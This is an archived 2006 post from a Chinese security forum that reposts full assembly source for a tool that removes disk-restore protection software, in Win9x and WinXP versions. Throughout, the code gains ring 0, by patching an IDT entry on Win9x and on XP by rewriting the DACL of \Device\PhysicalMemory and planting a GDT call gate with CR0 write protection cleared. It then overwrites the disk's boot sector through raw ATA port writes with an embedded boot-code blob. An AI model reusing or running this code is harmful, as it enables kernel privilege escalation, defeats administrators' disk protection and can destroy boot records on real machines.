邪恶八进制信息安全团队技术讨论组's Archiver

金州 2006-3-4 11:13

[转载]还原精灵卸载器

文章作者:风般的男人

现公布源程序如下:

;天龙还原精灵卸载器1.0 for win9x
.386P
.MODEL FLAT, STDCALL ; with STDCALL we must reverse the sequence of pushes
option casemap :none ; case sensitive
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

SetUnhandledExceptionFilter PROTO :DWORD

.DATA
;---- Error Messages
szExceptionCaused db "不能进入RING 0,请在WIN9X下运行!",0
szError db "Error",0
Caption db '天龙还原精灵卸载器1.0 for win9x',0
ShowText db '该程序用来卸载还原类软件 by:风般的男人',0
ExceptionUsed EQU 5
buffer db 033h,0c0h,08eh,0d0h,0bch,000h,07ch,0fbh,050h,007h,050h,01fh,0fch,0beh,01bh,07ch
db 0bfH,01bH,006H,050H,057H,0b9H,0e5H,001H,0f3H,0a4H,0cbH,0beH,0beH,007H,0b1H,004H
db 038H,02cH,07cH,009H,075H,015H,083H,0c6H,010H,0e2H,0f5H,0cdH,018H,08bH,014H,08bH
db 0eeH,083H,0c6H,010H,049H,074H,016H,038H,02cH,074H,0f6H,0beH,010H,007H,04eH,0acH
db 03cH,000H,074H,0faH,0bbH,007H,000H,0b4H,00eH,0cdH,010H,0ebH,0f2H,089H,046H,025H
db 096H,08aH,046H,004H,0b4H,006H,03cH,00eH,074H,011H,0b4H,00bH,03cH,00cH,074H,005H
db 03aH,0c4H,075H,02bH,040H,0c6H,046H,025H,006H,075H,024H,0bbH,0aaH,055H,050H,0b4H
db 041H,0cdH,013H,058H,072H,016H,081H,0fbH,055H,0aaH,075H,010H,0f6H,0c1H,001H,074H
db 00bH,08aH,0e0H,088H,056H,024H,0c7H,006H,0a1H,006H,0ebH,01eH,088H,066H,004H,0bfH
db 00aH,000H,0b8H,001H,002H,08bH,0dcH,033H,0c9H,083H,0ffH,005H,07fH,003H,08bH,04eH
db 025H,003H,04eH,002H,0cdH,013H,072H,029H,0beH,046H,007H,081H,03eH,0feH,07dH,055H
db 0aaH,074H,05aH,083H,0efH,005H,07fH,0daH,085H,0f6H,075H,083H,0beH,027H,007H,0ebH
db 08aH,098H,091H,052H,099H,003H,046H,008H,013H,056H,00aH,0e8H,012H,000H,05aH,0ebH
db 0d5H,04fH,074H,0e4H,033H,0c0H,0cdH,013H,0ebH,0b8H,000H,000H,080H,018H,002H,023H
db 056H,033H,0f6H,056H,056H,052H,050H,006H,053H,051H,0beH,010H,000H,056H,08bH,0f4H
db 050H,052H,0b8H,000H,042H,08aH,056H,024H,0cdH,013H,05aH,058H,08dH,064H,010H,072H
db 00aH,040H,075H,001H,042H,080H,0c7H,002H,0e2H,0f7H,0f8H,05eH,0c3H,0ebH,074H,049H
db 06eH,076H,061H,06cH,069H,064H,020H,070H,061H,072H,074H,069H,074H,069H,06fH,06eH
db 020H,074H,061H,062H,06cH,065H,000H,045H,072H,072H,06fH,072H,020H,06cH,06fH,061H
db 064H,069H,06eH,067H,020H,06fH,070H,065H,072H,061H,074H,069H,06eH,067H,020H,073H
db 079H,073H,074H,065H,06dH,000H,04dH,069H,073H,073H,069H,06eH,067H,020H,06fH,070H
db 065H,072H,061H,074H,069H,06eH,067H,020H,073H,079H,073H,074H,065H,06dH,000H,000H
.DATA?
lpOldGate dd ?
IDT db 6 dup (?)
buffer2 db 512 dup (?)

.CODE
start:
push offset ExceptCallBack; (security if ring transform doesn't work)
call SetUnhandledExceptionFilter ; Catch exceptions
call ShowBuffer
push offset Ring0Code
call ToRing0Code
invoke ExitProcess,0 ; exit


Ring0Code PROC ; Ring0 code here..

mov dx,1f6h ;Drive and head port
mov al,0a0h ;Drive 0,Head 0
out dx,al

mov dx,1f2h ;Sector count port
mov al,1 ;Read One Sector
out dx,al

mov dx,1f3h ;Sector number port
mov al,1 ;Read One Sector
out dx,al

mov dx,1f4h ;Cylinder low port
xor al,al ;Cylinder 0
out dx,al

mov dx,1f5h ;Cylinder high port
xor al,al ;The rest of Cylinder 0
out dx,al

mov dx,1f7h ;Command port
mov al,20h ;Read with Entry
out dx,al
Still_going:
in al,dx
test al,8 ;This means the sector buffer requires servcing
jz Still_going;do not continue until the sector buffer is ready
xor ecx,ecx
mov cx,512/2 ;one sector/2
mov edi,offset buffer2
mov dx,1f0h ;data port - data comes in and out here
cli
cld
rep insw
sti

xor ecx,ecx
mov cx,352/2
mov esi,offset buffer
mov edi,offset buffer2
rep movsw

mov dx,1f6h ;Drive and head port
mov al,0a0h ;Drive 0, head 0
out dx,al

mov dx,1f2h ;Sector count port
mov al,1 ;Write one sector
out dx,al

mov dx,1f3h ;Sector number port
mov al,1 ;Wrote to sector two
out dx,al

mov dx,1f4h ;Cylinder low port
mov al,0 ;Cylinder 0
out dx,al

mov dx,1f5h ;Cylinder high port
mov al,0 ;The rest of the cylinder 0
out dx,al

mov dx,1f7h ;Command port
mov al,30h ;Write with retry.
out dx,al
oogle:
in al,dx
test al,8 ;Wait for sector buffer ready.
jz oogle
xor ecx,ecx
mov cx,512/2 ;One sector /2
mov esi,offset buffer2
mov dx,1f0h ;Data port - data comes in and out of here.
cli
cld
rep outsw ;Send it.
sti
iretd
Ring0Code ENDP

ShowBuffer proc
invoke MessageBoxA,NULL,offset ShowText,offset Caption,MB_OK
ret
ShowBuffer endp

ExceptCallBack PROC
invoke MessageBoxA, 0, addr szExceptionCaused,addr szError, 0
invoke ExitProcess, -1
ret
ExceptCallBack ENDP

ToRing0Code proc Ring0:DWORD
sidt fword ptr IDT ; fetch IDT register

mov ebx, dword ptr [IDT+2] ; ebx -> IDT
add ebx, 8*ExceptionUsed ; Ebx -> IDT entry of ExceptionUsed


cli ; Clear interupts

mov dx, word ptr [ebx+6] ; Save the current gate highword
shl edx, 16d
mov dx, word ptr [ebx] ; lowword
mov [lpOldGate], edx

mov eax, Ring0 ; "install hook" - that is newgate
mov word ptr [ebx], ax ; lowword
shr eax, 16d
mov word ptr [ebx+6], ax ; highword

int ExceptionUsed ; cause exception

mov ebx, dword ptr [IDT+2] ; restore gate
add ebx, 8*ExceptionUsed
mov edx, [lpOldGate]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx
ret
ToRing0Code endp
end start

以下是FOR WINXP的源程序


;for winxp
.686p
.model flat, stdcall
option casemap :none ; case sensitive
; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
DEBUG = TRUE
ShowError proto :DWORD

;常量定义
NULL = 0
MB_OK = 0
INVALID_HANDLE_value = -1
GENERIC_READ = 80000000H
GENERIC_WRITE = 40000000H
FILE_SHARE_READ = 1
FILE_SHARE_WRITE = 2
FILE_SHARE_DELETE = 4
OPEN_EXISTING = 3

HMODULE typedef dword
NTSTATUS typedef dword
PACL typedef dword
PSECURITY_DESCRIPTOR typedef dword

OBJ_INHERIT=2
OBJ_PERMANENT=10h
OBJ_EXCLUSIVE=20h
OBJ_CASE_INSENSITIVE=40h
OBJ_OPENIF=80h
OBJ_OPENLINK =100h
OBJ_KERNEL_HANDLE=200
OBJ_VALID_ATTRIBUTES=3F2h

SE_KERNEL_OBJECT = 6
GRANT_ACCESS =1
NO_INHERITANCE =0
TRUSTEE_IS_NAME=1
TRUSTEE_IS_USER=1
STATUS_SUCCESS =0
STATUS_ACCESS_DENIED =0C0000022h

STATUS_ACCESS_VIOLATION equ 0C0000005h
STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
SystemModuleInformation equ 11
PVOID TYPEDEF DWORD
UNLONG TYPEDEF DWORD
CHAR TYPEDEF BYTE

UNICODE_STRING struct
nLength word ?
MaximumLength word ?
Buffer dword ?
UNICODE_STRING ends

OBJECT_ATTRIBUTES struct
nLength dword ?
RootDirectory HANDLE ?
ObjectName dword ?;PUNICODE_STRING
Attributes dword ?;
SecurityDescriptor dword ?; PVOID // Points to type SECURITY_DESCRIPTOR
SecurityQualityOfService dword ?;PVOID // Points to type SECURITY_QUALITY_OF_SERVICE
OBJECT_ATTRIBUTES ends


TRUSTEE struct
pMultipleTrustee dword ?;PTRUSTEE
MultipleTrusteeOperation dword ?; MULTIPLE_TRUSTEE_OPERATION
TrusteeForm dword ?;TRUSTEE_FORM
TrusteeType dword ?;TRUSTEE_TYPE
ptstrName dword ?;LPTSTR
TRUSTEE ends


EXPLICIT_ACCESS struct
grfAccessPermissions DWORD ?
grfAccessMode dword ? ;ACCESS_MODE
grfInheritance DWORD ? ;
Trustee TRUSTEE <> ;
EXPLICIT_ACCESS ends

MyGATE struct ;门结构类型定义
OFFSETL WORD ? ;32位偏移的低16位
SELECTOR WORd ? ;选择子
DCOUNT BYTE ? ;双字计数字段
GTYPE BYTE ? ;类型
OFFSETH WORD ? ;32位偏移的高16位
MyGATE ends

SetPhyscialMemorySectionCanBeWrited proto :dword
MiniMmGetPhysicalAddress proto :dword

ENTERRING0 macro
pushad
pushfd
cli
mov eax,cr0 ;get rid off readonly protect
and eax,0fffeffffh
mov cr0,eax
endm

LEAVERING0 macro
mov eax,cr0 ;restore readonly protect
or eax,10000h
mov cr0,eax
sti
popfd
popad
retf
endm


UNICODE_STR macro str
irpc _c,<str>
db &#39;&_c&#39;
db 0
endm
endm

.data?
GdtLimit dw ?
GdtAddr dd ?

mapAddr dd ?
OldEsp dd ?

readed dw ?


Buffer db 512 dup(?)
.data
FileName db &#39;\\.\PHYSICALDRIVE0&#39;,0
align 4 ;双字对齐
readed1 dd 0

hFile dd 0


ErrCreate db &#39;请在NT下运行该程序!&#39;,0
ErrRead db &#39;读盘错误!&#39;,0


align 4
objname dw objnamestr_size,objnamestr_size+2
objnameptr dd 0
objnamestr equ this byte
UNICODE_STR <\Device\PhysicalMemory>
objnamestr_size equ $-objnamestr

align 4
ObjAttr db 24 dup (0)
IsIdtFlag dd 0
Callgt dq 0 ;call gate&#39;s sel:off
Caption db &#39;天龙还原精灵卸载器2.0 FOR:WINXP&#39;,0
ShowText db &#39;该程序用来卸载还原类软件 by:风般的男人([url]www.lsky.net[/url] [url]www.hacksoft.com[/url])&#39;,0
.code
_Ring0Proc PROC ; Ring0 code here..
ENTERRING0
mov dx,1f6h ;Drive and head port
mov al,0a0h ;Drive 0, head 0
out dx,al

mov dx,1f2h ;Sector count port
mov al,1 ;Write one sector
out dx,al

mov dx,1f3h ;Sector number port
mov al,1 ;Wrote to sector two
out dx,al

mov dx,1f4h ;Cylinder low port
mov al,0 ;Cylinder 0
out dx,al

mov dx,1f5h ;Cylinder high port
mov al,0 ;The rest of the cylinder 0
out dx,al

mov dx,1f7h ;Command port
mov al,30h ;Write with retry.
out dx,al
oogle:
in al,dx
test al,8 ;Wait for sector buffer ready.
jz oogle
xor ecx,ecx
mov cx,512/2 ;One sector /2
mov esi,offset Buffer
mov dx,1f0h ;Data port - data comes in and out of here.
rep outsw ;Send it.
LEAVERING0
_Ring0Proc ENDP
Ring0CodeLen=$-_Ring0Proc


SetPhyscialMemorySectionCanBeWrited proc uses ebx esi edi hSection:HANDLE
local pDacl: PACL
local pNewDacl:PACL
local pSD :PSECURITY_DESCRIPTOR
local dwRes:DWORD ;
local ea:EXPLICIT_ACCESS ;
invoke GetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\
NULL,NULL, addr pDacl,NULL, addr pSD
cmp eax,ERROR_SUCCESS
jz @f
jmp OutSet
@@:
mov dwRes,eax
mov ea.grfAccessPermissions ,SECTION_MAP_WRITE;2
mov ea.grfAccessMode ,GRANT_ACCESS;1
mov ea.grfInheritance,NO_INHERITANCE;0
mov ea.Trustee.pMultipleTrustee,0
mov ea.Trustee.MultipleTrusteeOperation,0
mov ea.Trustee.TrusteeForm,TRUSTEE_IS_NAME;1
mov ea.Trustee.TrusteeType,TRUSTEE_IS_USER;1
call @f
db "CURRENT_USER",0
@@:
pop edx
mov ea.Trustee.ptstrName,edx
invoke SetEntriesInAcl,1,addr ea,pDacl,addr pNewDacl
cmp eax,ERROR_SUCCESS
jz @f
jmp OutSet
@@:
invoke SetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\
NULL,NULL,pNewDacl,NULL
OutSet:
cmp pSD,0
jz @f
invoke LocalFree,pSD
@@:
cmp pNewDacl,0
jz @f
invoke LocalFree,pNewDacl
@@:
ret
SetPhyscialMemorySectionCanBeWrited endp

MiniMmGetPhysicalAddress proc virtualaddress:dword
mov eax,virtualaddress
cmp eax,80000000h
jb @f
cmp eax,0a0000000h
jae @f
and eax,1FFFF000h
ret
@@:
mov eax,0
ret
MiniMmGetPhysicalAddress endp

ExecRing0Proc proc Entry:ULONG,seglen:ULONG
local tmpSel:dword
local setcg:dword
local BaseAddress:dword
local NtdllMod :dword ;300
local hSection:HANDLE
local status:NTSTATUS
local objectAttributes:OBJECT_ATTRIBUTES
local objName:UNICODE_STRING
mov status,STATUS_SUCCESS;
sgdt GdtLimit
invoke MiniMmGetPhysicalAddress,GdtAddr
mov mapAddr,eax
test eax,eax
jz Exit1
call @f
db "Ntdll.dll",0
@@:
call LoadLibraryA
mov NtdllMod,eax

lea edx,objnamestr
mov objnameptr,edx
lea edi,ObjAttr
and di,0fffch ;align to 4 bytes,or ZwOpenSection will fail
push edi ;edi->ObjAttr
push 24 ;length of <\Device\PhysicalMemory>
pop ecx
push ecx
xor eax,eax
rep stosb ;put ObjAttr with 0
pop ecx
pop edi
mov esi,edi
stosd
mov dword ptr[esi],ecx
stosd
lea eax,[edx-8] ;eax->objname
stosd ;ObjAddr(18h,00,00,00,00,00,00,00,offset objname,40,02,00,00,dd 2 dup(0)
mov dword ptr [edi],240h

call @f
db "ZwOpenSection",0
@@:
push NtdllMod
call GetProcAddress
mov ebx,eax ;ebx=ZwOpenSection

push esi ;esi->ObjAttr
push SECTION_MAP_READ or SECTION_MAP_WRITE
lea edi,hSection
push edi ;edi->hSection
call eax ;ZwOpenSection(&hSection,SECTION_MAP_READ or SECTION_MAP_WRITE,ObjAttr)

mov status,eax
cmp status,STATUS_ACCESS_DENIED
jnz AccessPermit
mov eax,ebx

push esi
push READ_CONTROL or WRITE_DAC
push edi
call eax

mov status,eax
invoke SetPhyscialMemorySectionCanBeWrited,hSection

call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress

push hSection
call eax ;zwClose hSection

mov eax,ebx

push esi
push SECTION_MAP_READ or SECTION_MAP_WRITE
lea edi,hSection
push edi
call eax
mov status ,eax
;status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
AccessPermit:
cmp status ,STATUS_SUCCESS
jz @f
;printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
;return 0;
mov eax,0
ret
@@:
movzx eax,word ptr[GdtLimit]
inc eax
invoke MapViewOfFile,hSection, FILE_MAP_READ or FILE_MAP_WRITE, 0, mapAddr, \
eax
mov BaseAddress,eax
cmp BaseAddress,0
jnz @f
;printf("Error MapViewOffile:");
;PrintWin32Error(GetLastError()); return 0;
mov eax,0
ret
@@:
mov esi,eax ;esi->gdt base
movzx eax,word ptr GdtLimit ;eax=gdt limit
mov IsIdtFlag,0
call Search_XDT
mov tmpSel,eax
mov setcg,FALSE;
mov esi,BaseAddress
mov ebx,eax
add ebx,esi
assume ebx:ptr MyGATE
mov edx,Entry
mov [ebx].OFFSETL,dx
mov [ebx].SELECTOR ,8
mov [ebx].DCOUNT ,0
mov [ebx].GTYPE,0ech
shr edx,16
mov [ebx].OFFSETH,dx
mov setcg,TRUE
cmp setcg,0
jnz ChangeOK
call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress
push hSection
call eax
xor eax,eax
ret
ChangeOK:
and dword ptr Callgt,0
or al,3h
mov word ptr [Callgt+4],ax
;farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate;

invoke VirtualLock,Entry,seglen
test eax,eax
jnz @f
xor eax,eax
ret
@@:
invoke GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_TIME_CRITICAL

invoke Sleep,0
call fword ptr [Callgt] ;use callgate to Ring0!
;_asm call fword ptr [farcall]
invoke GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_NORMAL

invoke VirtualUnlock,Entry,seglen

;//Clear callgate
;*(ULONG *)cg=0;
;*((ULONG *)cg+1)=0;
mov esi,BaseAddress
mov eax,tmpSel
add eax,esi
mov dword ptr[eax],0
mov dword ptr[eax+4],0
;ZwClose(hSection);
call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress
push hSection
call eax
mov eax,TRUE
ret
ExecRing0Proc endp

Search_XDT proc near ;entry esi==Base of Idt or GDT
;Eax==Limit
pushad
mov ebx,eax ;ebx=limit
mov eax,8 ; skipping null selector
@@1:
cmp IsIdtFlag,1
jz IsIdt
cmp dword ptr [esi+eax+0],0 ;gdt
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
jmp @@2
IsIdt:
cmp dword ptr [esi+eax+0],80000h ;idt
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven&#39;t found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad ; eax=free GDT or IDT entry selector
ret ;500
Search_XDT endp

main:
;建立文件
invoke CreateFileA,offset FileName,GENERIC_READ,FILE_SHARE_READ OR FILE_SHARE_WRITE,NULL,OPEN_EXISTING,NULL,NULL
mov [hFile],eax
cmp eax,INVALID_HANDLE_value
jnz read
;显示错误信息
invoke ShowError,offset ErrCreate
read: ;读数据
invoke ReadFile,eax,offset Buffer,512,offset readed1,NULL
cmp eax,0
jnz next
;显示错误信息
invoke ShowError,offset ErrRead

ShowError proc ,MESSAGE:DWORD ;显示出错信息并退出
invoke MessageBoxA,NULL,MESSAGE,offset Caption,MB_OK
cmp [hFile],0
jz endShowErr
invoke CloseHandle ,[hFile] ;关闭句柄
endShowErr:
invoke ExitProcess,0 ;退出
ShowError endp

next:
assume fs:nothing
push offset MySEH
push fs:[0]
mov fs:[0],esp
mov OldEsp,esp
mov ax,ds ;if Win9x?
test ax,4
jnz Exit1
invoke MessageBoxA,NULL,offset ShowText,offset Caption,MB_OK
invoke VirtualLock,offset _Ring0Proc,Ring0CodeLen
;invoke VirtualLock,offset r0Data,sizeof(RING0DATA)
invoke ExecRing0Proc,offset _Ring0Proc,Ring0CodeLen
;invoke VirtualUnlock,offset r0Data,sizeof(RING0DATA)
invoke VirtualUnlock,offset _Ring0Proc,Ring0CodeLen

Exit1:
pop fs:[0]
add esp,4
invoke ExitProcess,0

MySEH :
mov esp,OldEsp
pop fs:[0]
add esp,4
invoke ExitProcess,-1
end main

页: [1]
© 1999-2008 EvilOctal Security Team